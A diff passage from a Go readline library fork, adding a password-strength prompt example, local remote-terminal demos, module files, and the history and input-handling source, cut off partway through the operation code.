//
|
||||
// DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
|
||||
// TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
//
|
||||
// 0. You just DO WHAT THE FUCK YOU WANT TO.
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/chzyer/readline"
|
||||
zxcvbn "github.com/nbutton23/zxcvbn-go"
|
||||
)
|
||||
|
||||
const (
|
||||
Cyan = 36
|
||||
Green = 32
|
||||
Magenta = 35
|
||||
Red = 31
|
||||
Yellow = 33
|
||||
BackgroundRed = 41
|
||||
)
|
||||
|
||||
// Reset sequence
|
||||
var ColorResetEscape = "\033[0m"
|
||||
|
||||
// ColorResetEscape translates a ANSI color number to a color escape.
|
||||
func ColorEscape(color int) string {
|
||||
return fmt.Sprintf("\033[0;%dm", color)
|
||||
}
|
||||
|
||||
// Colorize the msg using ANSI color escapes
|
||||
func Colorize(msg string, color int) string {
|
||||
return ColorEscape(color) + msg + ColorResetEscape
|
||||
}
|
||||
|
||||
func createStrengthPrompt(password []rune) string {
|
||||
symbol, color := "", Red
|
||||
strength := zxcvbn.PasswordStrength(string(password), nil)
|
||||
|
||||
switch {
|
||||
case strength.Score <= 1:
|
||||
symbol = "✗"
|
||||
color = Red
|
||||
case strength.Score <= 2:
|
||||
symbol = "⚡"
|
||||
color = Magenta
|
||||
case strength.Score <= 3:
|
||||
symbol = "⚠"
|
||||
color = Yellow
|
||||
case strength.Score <= 4:
|
||||
symbol = "✔"
|
||||
color = Green
|
||||
}
|
||||
|
||||
prompt := Colorize(symbol, color)
|
||||
if strength.Entropy > 0 {
|
||||
entropy := fmt.Sprintf(" %3.0f", strength.Entropy)
|
||||
prompt += Colorize(entropy, Cyan)
|
||||
} else {
|
||||
prompt += Colorize(" ENT", Cyan)
|
||||
}
|
||||
|
||||
prompt += Colorize(" New Password: ", color)
|
||||
return prompt
|
||||
}
|
||||
|
||||
func main() {
|
||||
rl, err := readline.New("")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer rl.Close()
|
||||
|
||||
setPasswordCfg := rl.GenPasswordConfig()
|
||||
setPasswordCfg.SetListener(func(line []rune, pos int, key rune) (newLine []rune, newPos int, ok bool) {
|
||||
rl.SetPrompt(createStrengthPrompt(line))
|
||||
rl.Refresh()
|
||||
return nil, 0, false
|
||||
})
|
||||
|
||||
pswd, err := rl.ReadPasswordWithConfig(setPasswordCfg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Println("Your password was:", string(pswd))
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
package main
|
||||
|
||||
import "github.com/chzyer/readline"
|
||||
|
||||
func main() {
|
||||
if err := readline.DialRemote("tcp", ":12344"); err != nil {
|
||||
println(err.Error())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/chzyer/readline"
|
||||
)
|
||||
|
||||
func main() {
|
||||
cfg := &readline.Config{
|
||||
Prompt: "readline-remote: ",
|
||||
}
|
||||
handleFunc := func(rl *readline.Instance) {
|
||||
for {
|
||||
line, err := rl.Readline()
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
fmt.Fprintln(rl.Stdout(), "receive:"+line)
|
||||
}
|
||||
}
|
||||
err := readline.ListenRemote("tcp", ":12344", cfg, handleFunc)
|
||||
if err != nil {
|
||||
println(err.Error())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
module github.com/abiosoft/readline
|
||||
|
||||
go 1.15
|
||||
|
||||
require (
|
||||
github.com/chzyer/test v1.0.0
|
||||
github.com/nbutton23/zxcvbn-go v0.0.0-20210217022336-fa2cb2858354
|
||||
golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5
|
||||
)
|
||||
@@ -0,0 +1,14 @@
|
||||
github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM=
|
||||
github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ=
|
||||
github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04=
|
||||
github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8=
|
||||
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/nbutton23/zxcvbn-go v0.0.0-20210217022336-fa2cb2858354 h1:4kuARK6Y6FxaNu/BnU2OAaLF86eTVhP2hjTB6iMvItA=
|
||||
github.com/nbutton23/zxcvbn-go v0.0.0-20210217022336-fa2cb2858354/go.mod h1:KSVJerMDfblTH7p5MZaTt+8zaT2iEk3AkVb9PQdZuE8=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/stretchr/testify v1.1.4 h1:ToftOQTytwshuOSj6bDSolVUa3GINfJP/fg3OkkOzQQ=
|
||||
github.com/stretchr/testify v1.1.4/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5 h1:y/woIyUBFbpQGKS0u1aHF/40WUDnek3fPOyD08H5Vng=
|
||||
golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@@ -0,0 +1,332 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"container/list"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type hisItem struct {
|
||||
Source []rune
|
||||
Version int64
|
||||
Tmp []rune
|
||||
}
|
||||
|
||||
func (h *hisItem) Clean() {
|
||||
h.Source = nil
|
||||
h.Tmp = nil
|
||||
}
|
||||
|
||||
type opHistory struct {
|
||||
cfg *Config
|
||||
history *list.List
|
||||
historyVer int64
|
||||
current *list.Element
|
||||
fd *os.File
|
||||
fdLock sync.Mutex
|
||||
enable bool
|
||||
}
|
||||
|
||||
func newOpHistory(cfg *Config) (o *opHistory) {
|
||||
o = &opHistory{
|
||||
cfg: cfg,
|
||||
history: list.New(),
|
||||
enable: true,
|
||||
}
|
||||
return o
|
||||
}
|
||||
|
||||
func (o *opHistory) Reset() {
|
||||
o.history = list.New()
|
||||
o.current = nil
|
||||
}
|
||||
|
||||
func (o *opHistory) IsHistoryClosed() bool {
|
||||
o.fdLock.Lock()
|
||||
defer o.fdLock.Unlock()
|
||||
return o.fd.Fd() == ^(uintptr(0))
|
||||
}
|
||||
|
||||
func (o *opHistory) Init() {
|
||||
if o.IsHistoryClosed() {
|
||||
o.initHistory()
|
||||
}
|
||||
}
|
||||
|
||||
func (o *opHistory) initHistory() {
|
||||
if o.cfg.HistoryFile != "" {
|
||||
o.historyUpdatePath(o.cfg.HistoryFile)
|
||||
}
|
||||
}
|
||||
|
||||
// only called by newOpHistory
|
||||
func (o *opHistory) historyUpdatePath(path string) {
|
||||
o.fdLock.Lock()
|
||||
defer o.fdLock.Unlock()
|
||||
f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_RDWR, 0666)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
o.fd = f
|
||||
r := bufio.NewReader(o.fd)
|
||||
total := 0
|
||||
for ; ; total++ {
|
||||
line, err := r.ReadString('\n')
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
// ignore the empty line
|
||||
line = strings.TrimSpace(line)
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
o.Push([]rune(line))
|
||||
o.Compact()
|
||||
}
|
||||
if total > o.cfg.HistoryLimit {
|
||||
o.rewriteLocked()
|
||||
}
|
||||
o.historyVer++
|
||||
o.Push(nil)
|
||||
return
|
||||
}
|
||||
|
||||
func (o *opHistory) Compact() {
|
||||
for o.history.Len() > o.cfg.HistoryLimit && o.history.Len() > 0 {
|
||||
o.history.Remove(o.history.Front())
|
||||
}
|
||||
}
|
||||
|
||||
func (o *opHistory) Rewrite() {
|
||||
o.fdLock.Lock()
|
||||
defer o.fdLock.Unlock()
|
||||
o.rewriteLocked()
|
||||
}
|
||||
|
||||
func (o *opHistory) rewriteLocked() {
|
||||
if o.cfg.HistoryFile == "" {
|
||||
return
|
||||
}
|
||||
|
||||
tmpFile := o.cfg.HistoryFile + ".tmp"
|
||||
fd, err := os.OpenFile(tmpFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf := bufio.NewWriter(fd)
|
||||
for elem := o.history.Front(); elem != nil; elem = elem.Next() {
|
||||
buf.WriteString(string(elem.Value.(*hisItem).Source) + "\n")
|
||||
}
|
||||
buf.Flush()
|
||||
|
||||
// replace history file
|
||||
if err = os.Rename(tmpFile, o.cfg.HistoryFile); err != nil {
|
||||
fd.Close()
|
||||
return
|
||||
}
|
||||
|
||||
if o.fd != nil {
|
||||
o.fd.Close()
|
||||
}
|
||||
// fd is write only, just satisfy what we need.
|
||||
o.fd = fd
|
||||
}
|
||||
|
||||
func (o *opHistory) Close() {
|
||||
o.fdLock.Lock()
|
||||
defer o.fdLock.Unlock()
|
||||
if o.fd != nil {
|
||||
o.fd.Close()
|
||||
}
|
||||
}
|
||||
|
||||
func (o *opHistory) FindBck(isNewSearch bool, rs []rune, start int) (int, *list.Element) {
|
||||
for elem := o.current; elem != nil; elem = elem.Prev() {
|
||||
item := o.showItem(elem.Value)
|
||||
if isNewSearch {
|
||||
start += len(rs)
|
||||
}
|
||||
if elem == o.current {
|
||||
if len(item) >= start {
|
||||
item = item[:start]
|
||||
}
|
||||
}
|
||||
idx := runes.IndexAllBckEx(item, rs, o.cfg.HistorySearchFold)
|
||||
if idx < 0 {
|
||||
continue
|
||||
}
|
||||
return idx, elem
|
||||
}
|
||||
return -1, nil
|
||||
}
|
||||
|
||||
func (o *opHistory) FindFwd(isNewSearch bool, rs []rune, start int) (int, *list.Element) {
|
||||
for elem := o.current; elem != nil; elem = elem.Next() {
|
||||
item := o.showItem(elem.Value)
|
||||
if isNewSearch {
|
||||
start -= len(rs)
|
||||
if start < 0 {
|
||||
start = 0
|
||||
}
|
||||
}
|
||||
if elem == o.current {
|
||||
if len(item)-1 >= start {
|
||||
item = item[start:]
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
}
|
||||
idx := runes.IndexAllEx(item, rs, o.cfg.HistorySearchFold)
|
||||
if idx < 0 {
|
||||
continue
|
||||
}
|
||||
if elem == o.current {
|
||||
idx += start
|
||||
}
|
||||
return idx, elem
|
||||
}
|
||||
return -1, nil
|
||||
}
|
||||
|
||||
func (o *opHistory) showItem(obj interface{}) []rune {
|
||||
item := obj.(*hisItem)
|
||||
if item.Version == o.historyVer {
|
||||
return item.Tmp
|
||||
}
|
||||
return item.Source
|
||||
}
|
||||
|
||||
func (o *opHistory) Prev() []rune {
|
||||
if o.current == nil {
|
||||
return nil
|
||||
}
|
||||
current := o.current.Prev()
|
||||
if current == nil {
|
||||
return nil
|
||||
}
|
||||
o.current = current
|
||||
return runes.Copy(o.showItem(current.Value))
|
||||
}
|
||||
|
||||
func (o *opHistory) Next() ([]rune, bool) {
|
||||
if o.current == nil {
|
||||
return nil, false
|
||||
}
|
||||
current := o.current.Next()
|
||||
if current == nil {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
o.current = current
|
||||
return runes.Copy(o.showItem(current.Value)), true
|
||||
}
|
||||
|
||||
// Disable the current history
|
||||
func (o *opHistory) Disable() {
|
||||
o.enable = false
|
||||
}
|
||||
|
||||
// Enable the current history
|
||||
func (o *opHistory) Enable() {
|
||||
o.enable = true
|
||||
}
|
||||
|
||||
func (o *opHistory) debug() {
|
||||
Debug("-------")
|
||||
for item := o.history.Front(); item != nil; item = item.Next() {
|
||||
Debug(fmt.Sprintf("%+v", item.Value))
|
||||
}
|
||||
}
|
||||
|
||||
// save history
|
||||
func (o *opHistory) New(current []rune) (err error) {
|
||||
|
||||
// history deactivated
|
||||
if !o.enable {
|
||||
return nil
|
||||
}
|
||||
|
||||
current = runes.Copy(current)
|
||||
|
||||
// if just use last command without modify
|
||||
// just clean lastest history
|
||||
if back := o.history.Back(); back != nil {
|
||||
prev := back.Prev()
|
||||
if prev != nil {
|
||||
if runes.Equal(current, prev.Value.(*hisItem).Source) {
|
||||
o.current = o.history.Back()
|
||||
o.current.Value.(*hisItem).Clean()
|
||||
o.historyVer++
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(current) == 0 {
|
||||
o.current = o.history.Back()
|
||||
if o.current != nil {
|
||||
o.current.Value.(*hisItem).Clean()
|
||||
o.historyVer++
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
if o.current != o.history.Back() {
|
||||
// move history item to current command
|
||||
currentItem := o.current.Value.(*hisItem)
|
||||
// set current to last item
|
||||
o.current = o.history.Back()
|
||||
|
||||
current = runes.Copy(currentItem.Tmp)
|
||||
}
|
||||
|
||||
// err only can be a IO error, just report
|
||||
err = o.Update(current, true)
|
||||
|
||||
// push a new one to commit current command
|
||||
o.historyVer++
|
||||
o.Push(nil)
|
||||
return
|
||||
}
|
||||
|
||||
func (o *opHistory) Revert() {
|
||||
o.historyVer++
|
||||
o.current = o.history.Back()
|
||||
}
|
||||
|
||||
func (o *opHistory) Update(s []rune, commit bool) (err error) {
|
||||
o.fdLock.Lock()
|
||||
defer o.fdLock.Unlock()
|
||||
s = runes.Copy(s)
|
||||
if o.current == nil {
|
||||
|
||||
o.Push(s)
|
||||
o.Compact()
|
||||
return
|
||||
}
|
||||
|
||||
r := o.current.Value.(*hisItem)
|
||||
r.Version = o.historyVer
|
||||
if commit {
|
||||
r.Source = s
|
||||
if o.fd != nil {
|
||||
// just report the error
|
||||
_, err = o.fd.Write([]byte(string(r.Source) + "\n"))
|
||||
}
|
||||
} else {
|
||||
r.Tmp = append(r.Tmp[:0], s...)
|
||||
}
|
||||
o.current.Value = r
|
||||
o.Compact()
|
||||
return
|
||||
}
|
||||
|
||||
func (o *opHistory) Push(s []rune) {
|
||||
s = runes.Copy(s)
|
||||
elem := o.history.PushBack(&hisItem{Source: s})
|
||||
o.current = elem
|
||||
}
|
||||
@@ -0,0 +1,595 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrInterrupt = errors.New("Interrupt")
|
||||
)
|
||||
|
||||
type InterruptError struct {
|
||||
Line []rune
|
||||
}
|
||||
|
||||
func (*InterruptError) Error() string {
|
||||
return "Interrupted"
|
||||
}
|
||||
|
||||
type Operation struct {
|
||||
m sync.Mutex
|
||||
cfg *Config
|
||||
t *Terminal
|
||||
buf *RuneBuffer
|
||||
outchan chan []rune
|
||||
errchan chan error
|
||||
w io.Writer
|
||||
|
||||
history *opHistory
|
||||
*opSearch
|
||||
*opCompleter
|
||||
*opPassword
|
||||
*opVim
|
||||
}
|
||||
|
||||
func (o *Operation) SetBuffer(what string) {
|
||||
o.buf.Set([]rune(what))
|
||||
}
|
||||
|
||||
type wrapWriter struct {
|
||||
r *Operation
|
||||
t *Terminal
|
||||
target io.Writer
|
||||
}
|
||||
|
||||
func (w *wrapWriter) Write(b []byte) (int, error) {
|
||||
if !w.t.IsReading() {
|
||||
return w.target.Write(b)
|
||||
}
|
||||
|
||||
var (
|
||||
n int
|
||||
err error
|
||||
)
|
||||
w.r.buf.Refresh(func() {
|
||||
n, err = w.target.Write(b)
|
||||
})
|
||||
|
||||
if w.r.IsSearchMode() {
|
||||
w.r.SearchRefresh(-1)
|
||||
}
|
||||
if w.r.IsInCompleteMode() {
|
||||
w.r.CompleteRefresh()
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
|
||||
func NewOperation(t *Terminal, cfg *Config) *Operation {
|
||||
width := cfg.FuncGetWidth()
|
||||
op := &Operation{
|
||||
t: t,
|
||||
buf: NewRuneBuffer(t, cfg.Prompt, cfg, width),
|
||||
outchan: make(chan []rune),
|
||||
errchan: make(chan error, 1),
|
||||
}
|
||||
op.w = op.buf.w
|
||||
op.SetConfig(cfg)
|
||||
op.opVim = newVimMode(op)
|
||||
op.opCompleter = newOpCompleter(op.buf.w, op, width)
|
||||
op.opPassword = newOpPassword(op)
|
||||
op.cfg.FuncOnWidthChanged(func() {
|
||||
newWidth := cfg.FuncGetWidth()
|
||||
op.opCompleter.OnWidthChange(newWidth)
|
||||
op.opSearch.OnWidthChange(newWidth)
|
||||
op.buf.OnWidthChange(newWidth)
|
||||
})
|
||||
go op.ioloop()
|
||||
return op
|
||||
}
|
||||
|
||||
func (o *Operation) SetPrompt(s string) {
|
||||
o.buf.SetPrompt(s)
|
||||
}
|
||||
|
||||
func (o *Operation) SetMaskRune(r rune) {
|
||||
o.buf.SetMask(r)
|
||||
}
|
||||
|
||||
func (o *Operation) GetConfig() *Config {
|
||||
o.m.Lock()
|
||||
cfg := *o.cfg
|
||||
o.m.Unlock()
|
||||
return &cfg
|
||||
}
|
||||
|
||||
func (o *Operation) ioloop() {
|
||||
for {
|
||||
keepInSearchMode := false
|
||||
keepInCompleteMode := false
|
||||
r := o.t.ReadRune()
|
||||
|
||||
if o.GetConfig().FuncFilterInputRune != nil {
|
||||
var process bool
|
||||
r, process = o.GetConfig().FuncFilterInputRune(r)
|
||||
if !process {
|
||||
o.t.KickRead()
|
||||
o.buf.Refresh(nil) // to refresh the line
|
||||
continue // ignore this rune
|
||||
}
|
||||
}
|
||||
|
||||
if r == 0 { // io.EOF
|
||||
if o.buf.Len() == 0 {
|
||||
o.buf.Clean()
|
||||
select {
|
||||
case o.errchan <- io.EOF:
|
||||
}
|
||||
break
|
||||
} else {
|
||||
// if stdin got io.EOF and there is something left in buffer,
|
||||
// let's flush them by sending CharEnter.
|
||||
// And we will got io.EOF int next loop.
|
||||
r = CharEnter
|
||||
}
|
||||
}
|
||||
isUpdateHistory := true
|
||||
|
||||
if o.IsInCompleteSelectMode() {
|
||||
keepInCompleteMode = o.HandleCompleteSelect(r)
|
||||
if keepInCompleteMode {
|
||||
continue
|
||||
}
|
||||
|
||||
o.buf.Refresh(nil)
|
||||
switch r {
|
||||
case CharEnter, CharCtrlJ:
|
||||
o.history.Update(o.buf.Runes(), false)
|
||||
fallthrough
|
||||
case CharInterrupt:
|
||||
o.t.KickRead()
|
||||
fallthrough
|
||||
case CharBell:
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if o.IsEnableVimMode() {
|
||||
r = o.HandleVim(r, o.t.ReadRune)
|
||||
if r == 0 {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
switch r {
|
||||
case CharBell:
|
||||
if o.IsSearchMode() {
|
||||
o.ExitSearchMode(true)
|
||||
o.buf.Refresh(nil)
|
||||
}
|
||||
if o.IsInCompleteMode() {
|
||||
o.ExitCompleteMode(true)
|
||||
o.buf.Refresh(nil)
|
||||
}
|
||||
case CharTab:
|
||||
if o.GetConfig().AutoComplete == nil {
|
||||
o.t.Bell()
|
||||
break
|
||||
}
|
||||
if o.OnComplete() {
|
||||
keepInCompleteMode = true
|
||||
} else {
|
||||
o.t.Bell()
|
||||
break
|
||||
}
|
||||
|
||||
case CharBckSearch:
|
||||
if !o.SearchMode(S_DIR_BCK) {
|
||||
o.t.Bell()
|
||||
break
|
||||
}
|
||||
keepInSearchMode = true
|
||||
case CharCtrlU:
|
||||
o.buf.KillFront()
|
||||
case CharFwdSearch:
|
||||
if !o.SearchMode(S_DIR_FWD) {
|
||||
o.t.Bell()
|
||||
break
|
||||
}
|
||||
keepInSearchMode = true
|
||||
case CharKill:
|
||||
o.buf.Kill()
|
||||
keepInCompleteMode = true
|
||||
case MetaForward:
|
||||
o.buf.MoveToNextWord()
|
||||
case CharTranspose:
|
||||
o.buf.Transpose()
|
||||
case MetaBackward:
|
||||
o.buf.MoveToPrevWord()
|
||||
case MetaDelete:
|
||||
o.buf.DeleteWord()
|
||||
case CharLineStart:
|
||||
o.buf.MoveToLineStart()
|
||||
case CharLineEnd:
|
||||
o.buf.MoveToLineEnd()
|
||||
case CharBackspace, CharCtrlH:
|
||||
if o.IsSearchMode() {
|
||||
o.SearchBackspace()
|
||||
keepInSearchMode = true
|
||||
break
|
||||
}
|
||||
|
||||
if o.buf.Len() == 0 {
|
||||
o.t.Bell()
|
||||
break
|
||||
}
|
||||
|
||||
o.buf.Backspace()
|
||||
if o.IsInCompleteMode() {
|
||||
o.OnComplete()
|
||||
}
|
||||
case CharCtrlZ:
|
||||
o.buf.Clean()
|
||||
o.t.SleepToResume()
|
||||
o.Refresh()
|
||||
case CharCtrlL:
|
||||
ClearScreen(o.w)
|
||||
o.Refresh()
|
||||
case MetaBackspace, CharCtrlW:
|
||||
o.buf.BackEscapeWord()
|
||||
case CharCtrlY:
|
||||
o.buf.Yank()
|
||||
case CharEnter, CharCtrlJ:
|
||||
if o.IsSearchMode() {
|
||||
o.ExitSearchMode(false)
|
||||
}
|
||||
o.buf.MoveToLineEnd()
|
||||
var data []rune
|
||||
if !o.GetConfig().UniqueEditLine {
|
||||
if o.buf.cfg.ForcePrint {
|
||||
o.buf.Refresh(func() {
|
||||
fmt.Print(string(bytes.Repeat([]byte{8}, o.buf.idx)))
|
||||
})
|
||||
data = o.buf.Reset()
|
||||
data = data[:len(data)]
|
||||
} else {
|
||||
o.buf.WriteRune('\n')
|
||||
data = o.buf.Reset()
|
||||
data = data[:len(data)-1] // trim \n
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
o.buf.Clean()
|
||||
data = o.buf.Reset()
|
||||
}
|
||||
o.outchan <- data
|
||||
if !o.GetConfig().DisableAutoSaveHistory {
|
||||
// ignore IO error
|
||||
_ = o.history.New(data)
|
||||
} else {
|
||||
isUpdateHistory = false
|
||||
}
|
||||
case CharBackward:
|
||||
|
||||
o.buf.MoveBackward()
|
||||
|
||||
case CharForward:
|
||||
o.buf.MoveForward()
|
||||
case CharPrev:
|
||||
if o.buf.cfg.ForcePrint {
|
||||
continue
|
||||
}
|
||||
buf := o.history.Prev()
|
||||
if buf != nil {
|
||||
o.buf.Set(buf)
|
||||
} else {
|
||||
o.t.Bell()
|
||||
}
|
||||
case CharNext:
|
||||
if o.buf.cfg.ForcePrint {
|
||||
continue
|
||||
}
|
||||
buf, ok := o.history.Next()
|
||||
if ok {
|
||||
o.buf.Set(buf)
|
||||
} else {
|
||||
o.t.Bell()
|
||||
}
|
||||
case CharDelete:
|
||||
|
||||
if o.buf.Len() > 0 || !o.IsNormalMode() {
|
||||
o.t.KickRead()
|
||||
if !o.buf.Delete() {
|
||||
o.t.Bell()
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
// treat as EOF
|
||||
if !o.GetConfig().UniqueEditLine {
|
||||
o.buf.WriteString(o.GetConfig().EOFPrompt + "\n")
|
||||
}
|
||||
o.buf.Reset()
|
||||
isUpdateHistory = false
|
||||
o.history.Revert()
|
||||
o.errchan <- io.EOF
|
||||
if o.GetConfig().UniqueEditLine {
|
||||
o.buf.Clean()
|
||||
}
|
||||
case CharInterrupt:
|
||||
if o.IsSearchMode() {
|
||||
o.t.KickRead()
|
||||
o.ExitSearchMode(true)
|
||||
break
|
||||
}
|
||||
if o.IsInCompleteMode() {
|
||||
o.t.KickRead()
|
||||
o.ExitCompleteMode(true)
|
||||
o.buf.Refresh(nil)
|
||||
break
|
||||
}
|
||||
o.buf.MoveToLineEnd()
|
||||
o.buf.Refresh(nil)
|
||||
hint := o.GetConfig().InterruptPrompt + "\n"
|
||||
if !o.GetConfig().UniqueEditLine {
|
||||
o.buf.WriteString(hint)
|
||||
}
|
||||
remain := o.buf.Reset()
|
||||
if !o.GetConfig().UniqueEditLine {
|
||||
remain = remain[:len(remain)-len([]rune(hint))]
|
||||
}
|
||||
isUpdateHistory = false
|
||||
o.history.Revert()
|
||||
o.errchan <- &InterruptError{remain}
|
||||
default:
|
||||
if o.IsSearchMode() {
|
||||
o.SearchChar(r)
|
||||
keepInSearchMode = true
|
||||
break
|
||||
}
|
||||
o.buf.WriteRune(r)
|
||||
if o.IsInCompleteMode() {
|
||||
o.OnComplete()
|
||||
keepInCompleteMode = true
|
||||
}
|
||||
}
|
||||
|
||||
listener := o.GetConfig().Listener
|
||||
if listener != nil {
|
||||
newLine, newPos, ok := listener.OnChange(o.buf.Runes(), o.buf.Pos(), r)
|
||||
|
||||
if ok {
|
||||
o.buf.SetWithIdx(newPos, newLine)
|
||||
}
|
||||
}
|
||||
|
||||
o.m.Lock()
|
||||
if !keepInSearchMode && o.IsSearchMode() {
|
||||
|
||||
o.ExitSearchMode(false)
|
||||
o.buf.Refresh(nil)
|
||||
} else if o.IsInCompleteMode() {
|
||||
|
||||
if !keepInCompleteMode {
|
||||
|
||||
o.ExitCompleteMode(false)
|
||||
o.Refresh()
|
||||
} else {
|
||||
|
||||
o.buf.Refresh(nil)
|
||||
o.CompleteRefresh()
|
||||
}
|
||||
}
|
||||
if isUpdateHistory && !o.IsSearchMode() {
|
||||
|
||||
// it will cause null history
|
||||
o.history.Update(o.buf.Runes(), false)
|
||||
}
|
||||
o.m.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func (o *Operation) Stderr() io.Writer {
|
||||
return &wrapWriter{target: o.GetConfig().Stderr, r: o, t: o.t}
|
||||
}
|
||||
|
||||
func (o *Operation) Stdout() io.Writer {
|
||||
return &wrapWriter{target: o.GetConfig().Stdout, r: o, t: o.t}
|
||||
}
|
||||
|
||||
func (o *Operation) String() (string, error) {
|
||||
r, err := o.Runes()
|
||||
return string(r), err
|
||||
}
|
||||
func (o *Operation) StringEx() (string, error) {
|
||||
r, err := func() ([]rune, error) {
|
||||
|
||||
o.t.EnterRawMode()
|
||||
defer o.t.ExitRawMode()
|
||||
|
||||
listener := o.GetConfig().Listener
|
||||
if listener != nil {
|
||||
listener.OnChange(nil, 0, 0)
|
||||
}
|
||||
func() {
|
||||
o.buf.Lock()
|
||||
defer o.buf.Unlock()
|
||||
|
||||
o.buf.print()
|
||||
|
||||
}()
|
||||
|
||||
o.t.KickRead()
|
||||
select {
|
||||
case r := <-o.outchan:
|
||||
return r, nil
|
||||
case err := <-o.errchan:
|
||||
if e, ok := err.(*InterruptError); ok {
|
||||
return e.Line, ErrInterrupt
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
}()
|
||||
return string(r), err
|
||||
}
|
||||
func (o *Operation) Runes() ([]rune, error) {
|
||||
o.t.EnterRawMode()
|
||||
defer o.t.ExitRawMode()
|
||||
|
||||
listener := o.GetConfig().Listener
|
||||
if listener != nil {
|
||||
listener.OnChange(nil, 0, 0)
|
||||
}
|
||||
|
||||
o.buf.Refresh(nil) // print prompt
|
||||
o.t.KickRead()
|
||||
select {
|
||||
case r := <-o.outchan:
|
||||
return r, nil
|
||||
case err := <-o.errchan:
|
||||
if e, ok := err.(*InterruptError); ok {
|
||||
return e.Line, ErrInterrupt
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
func (o *Operation) PasswordEx(prompt string, l Listener) ([]byte, error) {
|
||||
cfg := o.GenPasswordConfig()
|
||||
cfg.Prompt = prompt
|
||||
cfg.Listener = l
|
||||
return o.PasswordWithConfig(cfg)
|
||||
}
|
||||
|
||||
func (o *Operation) GenPasswordConfig() *Config {
|
||||
return o.opPassword.PasswordConfig()
|
||||
}
|
||||
|
||||
func (o *Operation) PasswordWithConfig(cfg *Config) ([]byte, error) {
|
||||
if err := o.opPassword.EnterPasswordMode(cfg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer o.opPassword.ExitPasswordMode()
|
||||
return o.Slice()
|
||||
}
|
||||
|
||||
func (o *Operation) Password(prompt string) ([]byte, error) {
|
||||
return o.PasswordEx(prompt, nil)
|
||||
}
|
||||
|
||||
func (o *Operation) SetTitle(t string) {
|
||||
o.w.Write([]byte("\033[2;" + t + "\007"))
|
||||
}
|
||||
|
||||
func (o *Operation) Slice() ([]byte, error) {
|
||||
r, err := o.Runes()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return []byte(string(r)), nil
|
||||
}
|
||||
|
||||
func (o *Operation) Close() {
|
||||
select {
|
||||
case o.errchan <- io.EOF:
|
||||
default:
|
||||
}
|
||||
o.history.Close()
|
||||
}
|
||||
|
||||
func (o *Operation) SetHistoryPath(path string) {
|
||||
if o.history != nil {
|
||||
o.history.Close()
|
||||
}
|
||||
o.cfg.HistoryFile = path
|
||||
o.history = newOpHistory(o.cfg)
|
||||
}
|
||||
|
||||
func (o *Operation) IsNormalMode() bool {
|
||||
return !o.IsInCompleteMode() && !o.IsSearchMode()
|
||||
}
|
||||
|
||||
func (op *Operation) SetConfig(cfg *Config) (*Config, error) {
|
||||
op.m.Lock()
|
||||
defer op.m.Unlock()
|
||||
if op.cfg == cfg {
|
||||
return op.cfg, nil
|
||||
}
|
